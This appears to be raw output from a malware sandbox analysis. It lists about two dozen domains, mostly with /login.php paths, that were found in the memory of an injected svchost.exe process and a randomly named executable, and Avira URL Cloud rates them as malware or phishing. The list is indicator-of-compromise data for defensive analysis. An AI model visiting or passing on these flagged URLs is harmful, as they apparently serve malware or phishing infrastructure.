                                                                                                                                                                                                                  http://volyjif.com/login.phpsvchost.exe, 00000001.00000003.1968630518.0000000008A1F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968327079.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2267072964.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2278879701.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2276411177.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1967423631.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2279226567.0000000008A0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968394988.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968883679.0000000008A3A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                  • Avira URL Cloud: malware
                                                                                                                                                                                                                  		unknown
                                                                                                                                                                                                                  http://vonypic.com/login.phpsvchost.exe, 00000001.00000003.1958857886.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1958569924.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2264180640.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1959780405.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1959522129.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1962439893.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1960929560.0000000008AFE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2258260984.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1963059685.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1965539116.0000000008B0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1960318072.0000000008AFE000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                  • Avira URL Cloud: malware
                                                                                                                                                                                                                  		unknown
                                                                                                                                                                                                                  http://vofydak.com/login.phpsvchost.exe, 00000001.00000003.1968630518.0000000008A1F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2282417105.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2267072964.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2278879701.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2275129713.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2291331219.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2292428208.0000000008A0D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2287989020.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1967423631.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2280547985.0000000002FBA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2279226567.0000000008A0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2290690746.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968883679.0000000008A3A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                  • Avira URL Cloud: malware
                                                                                                                                                                                                                  		unknown
                                                                                                                                                                                                                  http://gacyvah.com/Hsvchost.exe, 00000001.00000003.2110940857.0000000008B9F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2111808755.0000000008BAA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2110982974.0000000008BA8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2110034202.0000000008B9F000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                  • Avira URL Cloud: malware
                                                                                                                                                                                                                  		unknown
                                                                                                                                                                                                                  http://pujymiq.com/login.phpsvchost.exe, 00000001.00000003.1968630518.0000000008A1F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968327079.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968702801.0000000002F09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968394988.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968883679.0000000008A3A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                  • Avira URL Cloud: malware
                                                                                                                                                                                                                  		unknown
                                                                                                                                                                                                                  http://pumyxiv.com/login.phpsvchost.exe, 00000001.00000003.2789208581.0000000008A01000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1695333905.00000000008A0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1687658381.0000000008A32000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2788563099.00000000008A2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2856090650.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1687565535.0000000008A2D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2878663670.0000000008A01000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2770707489.0000000008AF8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1687570808.0000000008A2F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2880372058.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2805839197.0000000008B07000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1978182310.0000000002FBA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2778000948.0000000008B07000.00000004.00000020.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000005.00000002.2341054199.0000000008FE9000.00000004.00000001.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000006.00000002.2320960777.00000000087AB000.00000004.00000001.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 0000000D.00000002.2331052540.0000000008719000.00000004.00000001.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 0000000D.00000002.2298247060.0000000000AAB000.00000004.00000020.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 0000000D.00000002.2331052540.00000000086FC000.00000004.00000001.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 0000000D.00000002.2305795738.00000000033AD000.00000004.00000010.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000015.00000002.2148572373.0000000008C69000.00000004.00000001.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000015.00000002.2155078247.0000000008F50000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                  • Avira URL Cloud: malware
                                                                                                                                                                                                                  		unknown
                                                                                                                                                                                                                  http://volycem.com/login.phpsvchost.exe, 00000001.00000003.1944205960.0000000002F55000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1950468360.0000000002F55000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1942144027.00000000008A0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1946665798.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1944474921.0000000002F55000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1949823209.0000000002F54000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1954875956.0000000002F55000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1942146335.0000000002F53000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1941306940.00000000008A0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1946581985.0000000002FBB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1944143633.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1945959904.0000000008A1A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                  • Avira URL Cloud: malware
                                                                                                                                                                                                                  		unknown
                                                                                                                                                                                                                  http://puzyduq.com/login.phpsvchost.exe, 00000001.00000003.1933898185.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1947510326.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2174605514.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2184711460.0000000002F0E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                  • Avira URL Cloud: malware
                                                                                                                                                                                                                  		unknown
                                                                                                                                                                                                                  http://puzydal.com/login.phpsvchost.exe, 00000001.00000003.2119051522.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2129829149.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1872874383.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1875189147.0000000002F5B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2110034202.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2128042608.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2105674590.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1870383629.0000000008A3C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1872943728.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1874920180.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1874825901.0000000008B0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1870726684.0000000008A3C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2889863215.00000000008A2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1870478184.0000000008A3C000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                  • Avira URL Cloud: malware
                                                                                                                                                                                                                  		unknown
                                                                                                                                                                                                                  http://vonydik.com/svchost.exe, 00000001.00000003.1894208080.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1895938775.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898499821.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2140072505.0000000008A09000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                  • Avira URL Cloud: phishing
                                                                                                                                                                                                                  		unknown
                                                                                                                                                                                                                  http://gacyzuz.com/login.phpsvchost.exe, 00000001.00000003.2789208581.0000000008A01000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2761249013.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2804793756.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2760203953.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2854734822.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2909851006.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2878663670.0000000008A01000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2864162691.0000000008A3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2760518250.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1978182310.0000000002FBA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2812953933.0000000008A3B000.00000004.00000020.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000005.00000002.2341054199.0000000008FE9000.00000004.00000001.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000005.00000002.2313579209.0000000000D40000.00000004.00000020.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000005.00000002.2313579209.0000000000CF3000.00000004.00000020.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000006.00000002.2320960777.00000000087AB000.00000004.00000001.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000006.00000002.2281883733.0000000000A26000.00000004.00000020.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 0000000D.00000002.2331052540.0000000008719000.00000004.00000001.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 0000000D.00000002.2298247060.0000000000AAB000.00000004.00000020.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000015.00000002.2148572373.0000000008C48000.00000004.00000001.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000015.00000002.2108655193.0000000000D71000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                  • Avira URL Cloud: phishing
                                                                                                                                                                                                                  		unknown
                                                                                                                                                                                                                  http://lysymux.com/http://vojykom.com/http://vonydik.com/Hsvchost.exe, 00000001.00000003.1894208080.0000000008A06000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                  • Avira URL Cloud: malware
                                                                                                                                                                                                                  		unknown
                                                                                                                                                                                                                  http://lykyjad.com/login.phpsvchost.exe, 00000001.00000003.1693187181.0000000002F65000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2019446888.0000000002F97000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2761249013.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1980885296.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2788563099.00000000008A2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2760203953.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1978180156.0000000002F7A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1993354280.0000000002F94000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2854734822.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1993091460.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2909851006.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2770707489.0000000008AF8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1993394339.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2020096225.0000000002F97000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1993170476.0000000002F8F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2026975926.0000000002F9A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1692993962.0000000002F65000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1984984329.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2017443520.0000000002F97000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2017702867.0000000002F97000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1692942093.0000000002F65000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                  • Avira URL Cloud: malware
                                                                                                                                                                                                                  		unknown
                                                                                                                                                                                                                  http://lyxyvoj.com/svchost.exe, 00000001.00000003.1876534809.0000000008A13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2119051522.0000000008A1F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1876527279.0000000008A19000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2118930556.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2115683579.0000000008A1E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                  • Avira URL Cloud: malware
                                                                                                                                                                                                                  		unknown
                                                                                                                                                                                                                  http://vopymyc.com/login.phpsvchost.exe, 00000001.00000003.1894208080.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1904740415.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1905299063.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898558140.0000000008AF8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1895938775.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2140072505.0000000008A13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1906625484.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1904744278.0000000008A1B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2148149391.0000000008A3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898499821.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1900620371.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1901757590.0000000008B0B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1900619492.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1902620348.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1903904408.0000000008A1B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2141003821.0000000008A1C000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                  • Avira URL Cloud: malware
                                                                                                                                                                                                                  		unknown
                                                                                                                                                                                                                  http://vojycec.com/login.phpsvchost.exe, 00000001.00000003.1933898185.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2176325655.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2177110574.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1933613581.0000000000899000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                  • Avira URL Cloud: malware
                                                                                                                                                                                                                  		unknown
                                                                                                                                                                                                                  http://gatyfus.com/login.phpsvchost.exe, 00000001.00000003.2789208581.0000000008A01000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1695333905.00000000008A0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1980885296.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1993091460.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2878663670.0000000008A01000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2017172053.0000000002F53000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1993394339.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2021153254.0000000002F53000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1984984329.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1701072430.00000000008A0000.00000004.00000020.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000005.00000002.2313579209.0000000000C88000.00000004.00000020.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000005.00000002.2336765148.0000000008BA0000.00000004.00000001.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000005.00000002.2336765148.0000000008B64000.00000004.00000001.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000006.00000002.2281883733.00000000009B8000.00000004.00000020.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000006.00000002.2320960777.00000000087AB000.00000004.00000001.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 0000000D.00000002.2331052540.0000000008719000.00000004.00000001.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 0000000D.00000002.2336165323.00000000089AD000.00000004.00000010.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 0000000D.00000002.2298247060.00000000009C8000.00000004.00000020.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 0000000D.00000002.2331052540.00000000086FC000.00000004.00000001.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000015.00000002.2155078247.0000000008F50000.00000004.00000001.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000015.00000002.2148572373.0000000008C48000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                    		high
                                                                                                                                                                                                                    http://pufybyv.com/login.phpsvchost.exe, 00000001.00000003.1788596948.0000000008A44000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779722435.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2023538220.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2804793756.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1780489713.0000000008B07000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1833647424.0000000002F03000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779096011.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779501399.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1781013100.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779124243.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779223947.0000000002F5B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2812883958.0000000000890000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779650272.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2805839197.0000000008B07000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2812953933.0000000008A3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2019576714.0000000008A19000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2019933898.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779687726.0000000002F5B000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                    • Avira URL Cloud: malware
                                                                                                                                                                                                                    		unknown
                                                                                                                                                                                                                    http://lykygur.com/svchost.exe, 00000001.00000003.2811723462.0000000008AF8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2019446888.0000000002F97000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2804793756.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2814550961.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2020096225.0000000002F97000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2026975926.0000000002F9A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2017443520.0000000002F97000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2017702867.0000000002F97000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                    • Avira URL Cloud: malware
                                                                                                                                                                                                                    		unknown
                                                                                                                                                                                                                    http://qegytyv.com/login.phpsvchost.exe, 00000001.00000003.2111617403.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1875606726.0000000000899000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1884112717.000000000089C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2110034202.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1870487910.000000000089F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2105674590.0000000008A13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2106415870.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1874582176.0000000002FB9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1882380826.0000000000899000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                    • Avira URL Cloud: malware
                                                                                                                                                                                                                    		unknown
                                                                                                                                                                                                                    http://ganyfes.com/login.phpsvchost.exe, 00000001.00000003.2119051522.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1879229849.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2129829149.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2128042608.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2113424628.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1878161986.0000000008AF8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2128433067.0000000008ADD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1880477607.0000000008B0B000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                    • Avira URL Cloud: malware
                                                                                                                                                                                                                    		unknown
                                                                                                                                                                                                                    http://volydot.com/login.phpsvchost.exe, 00000001.00000003.2111617403.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1872874383.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1875189147.0000000002F5B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2110034202.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1874905532.0000000002F63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1870383629.0000000008A3C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2149761878.0000000008B0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1872943728.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1874920180.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2146336174.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2122956933.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1870726684.0000000008A3C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1875834987.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2149333396.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2889863215.00000000008A2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1870478184.0000000008A3C000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                    • Avira URL Cloud: phishing
                                                                                                                                                                                                                    		unknown
